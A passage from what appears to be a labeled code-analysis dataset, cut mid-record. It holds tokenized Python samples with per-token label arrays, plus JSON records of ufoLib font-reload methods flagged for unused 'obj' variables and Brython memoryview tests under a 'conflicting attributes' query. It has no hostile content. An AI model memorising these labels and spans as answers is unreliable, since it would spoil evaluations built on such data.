"\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "My", "Player_", "(_", "xbmc_", "._", "Player_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "My", "Player_", "(_", "xbmc_", "._", "Player_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "\\u\\u", "init\\u\\u_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "xbmc_", "._", "Player_", "._", "\\u\\u", "init\\u\\u_", "(_", "self_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "My", "Player_", "(_", "xbmc_", "._", "Player_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "play_", "(_", "self_", ",_", "url_", ",_", "listitem_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "'", "No", "w", " ", "im", " ", "play", "ing", "...", " ", "%", "s", "'_", "%_", "url_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "stop", "Play", "ing_", "._", "clear_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "xbmc_", "._", "Player_", "(_", "xbmc_", "._", "PLAYER", "\\u", "CORE", "\\u", "DVD", "PLAYER", "_", ")_", "._", "play_", "(_", "url_", ",_", "listitem_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "My", "Player_", "(_", "xbmc_", "._", "Player_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "on", "Play", "Back", "Ende", "d_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Wil", "l", " ", "be", " ", "call", "ed", " ", "whe", "n", " ", "xbmc", " ", "stop", "s", " ", "play", "ing", " ", "a", " ", "file_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "\"", "seti", "ng", " ", "event", " ", "in", " ", "on", "Play", "Back", "Ende", "d", " ", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "stop", "Play", "ing_", "._", "set_", "(_", ")_", ";_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "\"", "stop", " ", "Event", " ", "is", " ", "SET", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "My", "Player_", "(_", "xbmc_", "._", "Player_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "on", "Play", "Back", "Stopp", "ed_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Wil", "l", " ", "be", " ", "call", "ed", " ", "whe", "n", " ", "user", " ", "stop", "s", " ", "xbmc", " ", "play", "ing", " ", "a", " ", "file_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "\"", "seti", "ng", " ", "event", " ", "in", " ", "on", "Play", "Back", "Stopp", "ed", " ", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "stop", "Play", "ing_", "._", "set_", "(_", ")_", ";_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "\"", "stop", " ", "Event", " ", "is", " ", "SET", "\"_" ]
[ 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 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self):\n \"\"\"\n Reload the data in the :class:`Info` object from the\n fontinfo.plist file in the UFO.\n \"\"\"\n if self._info is None:\n obj = self.info\n else:\n r = ufoLib.UFOReader(self._path)\n newInfo = Info()\n r.readInfo(newInfo)\n oldInfo = self._info\n for attr in dir(newInfo):\n if attr in ufoLib.deprecatedFontInfoAttributesVersion2:\n continue\n if attr.startswith(\"_\"):\n continue\n if attr == \"dirty\":\n continue\n if attr == \"dispatcher\":\n continue\n if not hasattr(oldInfo, attr):\n continue\n newValue = getattr(newInfo, attr)\n oldValue = getattr(oldInfo, attr)\n if hasattr(newValue, \"im_func\"):\n continue\n if oldValue == newValue:\n continue\n setattr(oldInfo, attr, newValue)\n self._stampInfoDataState()", "metadata": "root.Font.reloadInfo", "header": "['class', 'Font', '(', 'BaseObject', ')', ':', '___EOS___']", "index": 949 }, { "content": " def reloadKerning(self):\n \"\"\"\n Reload the data in the :class:`Kerning` object from the\n kerning.plist file in the UFO.\n \"\"\"\n if self._kerning is None:\n obj = self.kerning\n else:\n r = ufoLib.UFOReader(self._path)\n d = r.readKerning()\n self._kerning.clear()\n self._kerning.update(d)\n self._stampKerningDataState()", "metadata": "root.Font.reloadKerning", "header": "['class', 'Font', '(', 'BaseObject', ')', ':', '___EOS___']", "index": 981 }, { "content": " def reloadGroups(self):\n \"\"\"\n Reload the data in the :class:`Groups` object from the\n groups.plist file in the UFO.\n \"\"\"\n if self._groups is None:\n obj = self.groups\n else:\n r = ufoLib.UFOReader(self._path)\n d = r.readGroups()\n self._groups.clear()\n self._groups.update(d)\n self._stampGroupsDataState()", "metadata": "root.Font.reloadGroups", "header": "['class', 'Font', '(', 'BaseObject', ')', ':', '___EOS___']", "index": 995 }, { "content": " def reloadFeatures(self):\n \"\"\"\n Reload the data in the :class:`Features` object from the\n features.fea file in the UFO.\n \"\"\"\n if self._features is None:\n obj = self.features\n else:\n r = ufoLib.UFOReader(self._path)\n text = r.readFeatures()\n self._features.text = text\n self._stampFeaturesDataState()", "metadata": "root.Font.reloadFeatures", "header": "['class', 'Font', '(', 'BaseObject', ')', ':', '___EOS___']", "index": 1009 }, { "content": " def reloadLib(self):\n \"\"\"\n Reload the data in the :class:`Lib` object from the\n lib.plist file in the UFO.\n \"\"\"\n if self._lib is None:\n obj = self.lib\n else:\n r = ufoLib.UFOReader(self._path)\n d = r.readLib()\n self._lib.clear()\n self._lib.update(d)\n self._stampLibDataState()", "metadata": "root.Font.reloadLib", "header": "['class', 'Font', '(', 'BaseObject', ')', ':', '___EOS___']", "index": 1022 } ]
[ { "span": "obj ", "start_line": 955, "start_column": 12, "end_line": 955, "end_column": 15 }, { "span": "obj ", "start_line": 987, "start_column": 12, "end_line": 987, "end_column": 15 }, { "span": "obj ", "start_line": 1001, "start_column": 12, "end_line": 1001, "end_column": 15 }, { "span": "obj ", "start_line": 1015, "start_column": 12, "end_line": 1015, "end_column": 15 }, { "span": "obj ", "start_line": 1028, "start_column": 12, "end_line": 1028, "end_column": 15 } ]
[]
1
true
[ "[CLS]_", "Un", "used_", "local_", "variable_", "[SEP]_", "class_", "Font_", "(_", "Base", "Object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "relo", "ad", "Info_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Relo", "ad", " ", "the", " ", "data", " ", "in", " ", "the", " ", ":", "class", ":`", "Info", "`", " ", "object", " ", "from", " ", "the", "\\", "10", ";", " ", " ", " ", " ", "font", "info", ".", "plist", " ", "file", " ", "in", " ", "the", " ", "UF", "O", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "self_", "._", "\\u", "info_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "obj_", "=_", "self_", "._", "info_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "r_", "=_", "ufo", "Lib_", "._", "UF", "OR", "eader", "_", "(_", "self_", "._", "\\u", "path_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "new", "Info_", "=_", "Info_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "r_", "._", "read", "Info_", "(_", "new", "Info_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "old", "Info_", "=_", "self_", "._", "\\u", "info_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "attr_", "in_", "dir_", "(_", "new", "Info_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "attr_", "in_", "ufo", "Lib_", "._", "depre", "cated", "Font", "Info", "Attribute", "s", "Version", "2_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "continue_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "attr_", "._", "startswith_", "(_", "\"\\u\"_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "continue_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "attr_", "==_", "\"", "dir", "ty", "\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "continue_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "attr_", "==_", "\"", "dispatcher", "\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "continue_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "not_", "hasattr_", "(_", "old", "Info_", ",_", "attr_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "continue_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "new", "Value_", "=_", "getattr_", "(_", "new", "Info_", ",_", "attr_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "old", "Value_", "=_", "getattr_", "(_", "old", "Info_", ",_", "attr_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "hasattr_", "(_", "new", "Value_", ",_", "\"", "im", "\\u", "func", "\"_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "continue_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "old", "Value_", "==_", "new", "Value_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "continue_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "setattr_", "(_", "old", "Info_", ",_", "attr_", ",_", "new", "Value_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "\\u", "stamp", "Info", "Data", "State_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Font_", "(_", "Base", "Object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "relo", "ad", "Kern", "ing_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Relo", "ad", " ", "the", " ", "data", " ", "in", " ", "the", " ", ":", "class", ":`", "Kern", "ing", "`", " ", "object", " ", "from", " ", "the", "\\", "10", ";", " ", " ", " ", " ", "kern", "ing", ".", "plist", " ", "file", " ", "in", " ", "the", " ", "UF", "O", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "self_", "._", "\\u", "kern", "ing_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "obj_", "=_", "self_", "._", "kern", "ing_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "r_", "=_", "ufo", "Lib_", "._", "UF", "OR", "eader", "_", "(_", "self_", "._", "\\u", "path_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "d_", "=_", "r_", "._", "read", "Kern", "ing_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "kern", "ing_", "._", "clear_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "kern", "ing_", "._", "update_", "(_", "d_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "stamp", "Kern", "ing", "Data", "State_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Font_", "(_", "Base", "Object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "relo", "ad", "Groups_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Relo", "ad", " ", "the", " ", "data", " ", "in", " ", "the", " ", ":", "class", ":`", "Group", "s", "`", " ", "object", " ", "from", " ", "the", "\\", "10", ";", " ", " ", " ", " ", "group", "s", ".", "plist", " ", "file", " ", "in", " ", "the", " ", "UF", "O", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "self_", "._", "\\u", "groups_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "obj_", "=_", "self_", "._", "groups_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "r_", "=_", "ufo", "Lib_", "._", "UF", "OR", "eader", "_", "(_", "self_", "._", "\\u", "path_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "d_", "=_", "r_", "._", "read", "Groups_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "groups_", "._", "clear_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "groups_", "._", "update_", "(_", "d_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "stamp", "Group", "s", "Data", "State_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Font_", "(_", "Base", "Object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "relo", "ad", "Features_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Relo", "ad", " ", "the", " ", "data", " ", "in", " ", "the", " ", ":", "class", ":`", "Feature", "s", "`", " ", "object", " ", "from", " ", "the", "\\", "10", ";", " ", " ", " ", " ", "features", ".", "fea", " ", "file", " ", "in", " ", "the", " ", "UF", "O", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "self_", "._", "\\u", "features_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "obj_", "=_", "self_", "._", "features_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "r_", "=_", "ufo", "Lib_", "._", "UF", "OR", "eader", "_", "(_", "self_", "._", "\\u", "path_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "text_", "=_", "r_", "._", "read", "Features_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "features_", "._", "text_", "=_", "text_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "stamp", "Feature", "s", "Data", "State_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Font_", "(_", "Base", "Object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "relo", "ad", "Lib_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Relo", "ad", " ", "the", " ", "data", " ", "in", " ", "the", " ", ":", "class", ":`", "Lib", "`", " ", "object", " ", "from", " ", "the", "\\", "10", ";", " ", " ", " ", " ", "lib", ".", "plist", " ", "file", " ", "in", " ", "the", " ", "UF", "O", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "self_", "._", "\\u", "lib_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "obj_", "=_", "self_", "._", "lib_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "r_", "=_", "ufo", "Lib_", "._", "UF", "OR", "eader", "_", "(_", "self_", "._", "\\u", "path_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "d_", "=_", "r_", "._", "read", "Lib_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "lib_", "._", "clear_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "lib_", "._", "update_", "(_", "d_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "stamp", "Lib", "Data", "State_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2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2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Conflicting attributes in base classes
amrdraz/kodr/app/brython/www/src/Lib/test/test_memoryview.py
[ { "content": "class AbstractMemoryTests:\n source_bytes = b\"abcdef\"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n", "metadata": "root.AbstractMemoryTests", "header": "['module', '___EOS___']", "index": 15 }, { "content": " @property\n def _source(self):\n return self.source_bytes", "metadata": "root.AbstractMemoryTests._source", "header": "['class', 'AbstractMemoryTests', ':', '___EOS___']", "index": 18 }, { "content": " @property\n def _types(self):\n return filter(None, [self.ro_type, self.rw_type])", "metadata": "root.AbstractMemoryTests._types", "header": "['class', 'AbstractMemoryTests', ':', '___EOS___']", "index": 22 }, { "content": " def check_getitem_with_type(self, tp):\n b = tp(self._source)\n oldrefcount = sys.getrefcount(b)\n m = self._view(b)\n self.assertEqual(m[0], ord(b\"a\"))\n self.assertIsInstance(m[0], int)\n self.assertEqual(m[5], ord(b\"f\"))\n self.assertEqual(m[-1], ord(b\"f\"))\n self.assertEqual(m[-6], ord(b\"a\"))\n # Bounds checking\n self.assertRaises(IndexError, lambda: m[6])\n self.assertRaises(IndexError, lambda: m[-7])\n self.assertRaises(IndexError, lambda: m[sys.maxsize])\n self.assertRaises(IndexError, lambda: m[-sys.maxsize])\n # Type checking\n self.assertRaises(TypeError, lambda: m[None])\n self.assertRaises(TypeError, lambda: m[0.0])\n self.assertRaises(TypeError, lambda: m[\"a\"])\n m = None\n self.assertEqual(sys.getrefcount(b), oldrefcount)", "metadata": "root.AbstractMemoryTests.check_getitem_with_type", "header": "['class', 'AbstractMemoryTests', ':', '___EOS___']", "index": 26 }, { "content": " def test_getitem(self):\n for tp in self._types:\n self.check_getitem_with_type(tp)", "metadata": "root.AbstractMemoryTests.test_getitem", "header": "['class', 'AbstractMemoryTests', ':', '___EOS___']", "index": 47 }, { "content": " def test_iter(self):\n for tp in self._types:\n b = tp(self._source)\n m = self._view(b)\n self.assertEqual(list(m), [m[i] for i in range(len(m))])", "metadata": "root.AbstractMemoryTests.test_iter", "header": "['class', 'AbstractMemoryTests', ':', '___EOS___']", "index": 51 }, { "content": " def test_setitem_readonly(self):\n if not self.ro_type:\n return\n b = self.ro_type(self._source)\n oldrefcount = sys.getrefcount(b)\n m = self._view(b)\n def setitem(value):\n m[0] = value\n self.assertRaises(TypeError, setitem, b\"a\")\n self.assertRaises(TypeError, setitem, 65)\n self.assertRaises(TypeError, setitem, memoryview(b\"a\"))\n m = None\n self.assertEqual(sys.getrefcount(b), oldrefcount)", "metadata": "root.AbstractMemoryTests.test_setitem_readonly", "header": "['class', 'AbstractMemoryTests', ':', '___EOS___']", "index": 57 }, { "content": " def test_setitem_writable(self):\n if not self.rw_type:\n return\n tp = self.rw_type\n b = self.rw_type(self._source)\n oldrefcount = sys.getrefcount(b)\n m = self._view(b)\n m[0] = ord(b'1')\n self._check_contents(tp, b, b\"1bcdef\")\n m[0:1] = tp(b\"0\")\n self._check_contents(tp, b, b\"0bcdef\")\n m[1:3] = tp(b\"12\")\n self._check_contents(tp, b, b\"012def\")\n m[1:1] = tp(b\"\")\n self._check_contents(tp, b, b\"012def\")\n m[:] = tp(b\"abcdef\")\n self._check_contents(tp, b, b\"abcdef\")\n\n # Overlapping copies of a view into itself\n m[0:3] = m[2:5]\n self._check_contents(tp, b, b\"cdedef\")\n m[:] = tp(b\"abcdef\")\n m[2:5] = m[0:3]\n self._check_contents(tp, b, b\"ababcf\")\n\n def setitem(key, value):\n m[key] = tp(value)\n # Bounds checking\n self.assertRaises(IndexError, setitem, 6, b\"a\")\n self.assertRaises(IndexError, setitem, -7, b\"a\")\n self.assertRaises(IndexError, setitem, sys.maxsize, b\"a\")\n self.assertRaises(IndexError, setitem, -sys.maxsize, b\"a\")\n # Wrong index/slice types\n self.assertRaises(TypeError, setitem, 0.0, b\"a\")\n self.assertRaises(TypeError, setitem, (0,), b\"a\")\n self.assertRaises(TypeError, setitem, (slice(0,1,1), 0), b\"a\")\n self.assertRaises(TypeError, setitem, (0, slice(0,1,1)), b\"a\")\n self.assertRaises(TypeError, setitem, (0,), b\"a\")\n self.assertRaises(TypeError, setitem, \"a\", b\"a\")\n # Not implemented: multidimensional slices\n slices = (slice(0,1,1), slice(0,1,2))\n self.assertRaises(NotImplementedError, setitem, slices, b\"a\")\n # Trying to resize the memory object\n exc = ValueError if m.format == 'c' else TypeError\n self.assertRaises(exc, setitem, 0, b\"\")\n self.assertRaises(exc, setitem, 0, b\"ab\")\n self.assertRaises(ValueError, setitem, slice(1,1), b\"a\")\n self.assertRaises(ValueError, setitem, slice(0,2), b\"a\")\n\n m = None\n self.assertEqual(sys.getrefcount(b), oldrefcount)", "metadata": "root.AbstractMemoryTests.test_setitem_writable", "header": "['class', 'AbstractMemoryTests', ':', '___EOS___']", "index": 71 }, { "content": " def test_delitem(self):\n for tp in self._types:\n b = tp(self._source)\n m = self._view(b)\n with self.assertRaises(TypeError):\n del m[1]\n with self.assertRaises(TypeError):\n del m[1:4]", "metadata": "root.AbstractMemoryTests.test_delitem", "header": "['class', 'AbstractMemoryTests', ':', '___EOS___']", "index": 123 }, { "content": " def test_tobytes(self):\n for tp in self._types:\n m = self._view(tp(self._source))\n b = m.tobytes()\n # This calls self.getitem_type() on each separate byte of b\"abcdef\"\n expected = b\"\".join(\n self.getitem_type(bytes([c])) for c in b\"abcdef\")\n self.assertEqual(b, expected)\n self.assertIsInstance(b, bytes)", "metadata": "root.AbstractMemoryTests.test_tobytes", "header": "['class', 'AbstractMemoryTests', ':', '___EOS___']", "index": 132 }, { "content": " def test_tolist(self):\n for tp in self._types:\n m = self._view(tp(self._source))\n l = m.tolist()\n self.assertEqual(l, list(b\"abcdef\"))", "metadata": "root.AbstractMemoryTests.test_tolist", "header": "['class', 'AbstractMemoryTests', ':', '___EOS___']", "index": 142 }, { "content": " def test_compare(self):\n # memoryviews can compare for equality with other objects\n # having the buffer interface.\n for tp in self._types:\n m = self._view(tp(self._source))\n for tp_comp in self._types:\n self.assertTrue(m == tp_comp(b\"abcdef\"))\n self.assertFalse(m != tp_comp(b\"abcdef\"))\n self.assertFalse(m == tp_comp(b\"abcde\"))\n self.assertTrue(m != tp_comp(b\"abcde\"))\n self.assertFalse(m == tp_comp(b\"abcde1\"))\n self.assertTrue(m != tp_comp(b\"abcde1\"))\n self.assertTrue(m == m)\n self.assertTrue(m == m[:])\n self.assertTrue(m[0:6] == m[:])\n self.assertFalse(m[0:5] == m)\n\n # Comparison with objects which don't support the buffer API\n self.assertFalse(m == \"abcdef\")\n self.assertTrue(m != \"abcdef\")\n self.assertFalse(\"abcdef\" == m)\n self.assertTrue(\"abcdef\" != m)\n\n # Unordered comparisons\n for c in (m, 